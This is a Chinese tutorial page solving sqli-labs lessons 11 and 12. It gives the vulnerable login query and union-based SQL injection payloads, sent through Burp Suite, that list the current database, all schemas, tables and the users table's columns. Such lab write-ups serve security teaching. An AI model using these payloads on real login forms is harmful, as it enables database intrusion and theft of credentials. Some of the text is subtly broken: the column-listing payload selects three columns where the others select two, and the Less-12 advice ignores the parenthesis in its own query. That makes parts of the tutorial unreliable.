栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

sqli-lab教程 less-11,12

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

sqli-lab教程 less-11,12

Less-11

查找原SQL语句:$sql="SELECt username, password FROM users WHERe username='$uname' and password='$passwd' LIMIT 0,1"

这一题我们需要使用burp suite。

首先我们在username和password中随便输入一串数字或字母,如图所示:

然后打开抓包,点击确认,进入repeater中对数据进行改写。

对数据库进行查找:把“uname=1111”改为“uname=1111' union select 1,database() --+”,如图所示:

可以知晓库名为:security

显示全部的数据库:把“uname=1111”

改为“uname=1111' union select 1,group_concat(schema_name)  from information_schema.schemata --+”

如图所示:

显示当前数据库中所有的数据表:把“uname=1111”

改为“uname=1111' union select 1,group_concat(table_name)  from information_schema.tables where table_schema='security' --+”

如图所示:

显示users中的字段:把“uname=1111”

改为“uname=1111' union select 1,group_concat(column_name) ,3 from information_schema.columns where   table_name='users' and table_schema='security'  --+”

如图所示:

Less-12

查找原SQL语句:$sql="SELECt username, password FROM users WHERe username=($uname) and password=($passwd) LIMIT 0,1"

与Less-11的语句对比可以知晓只需把uname=1111'改为uname=1111即可

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/1007399.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号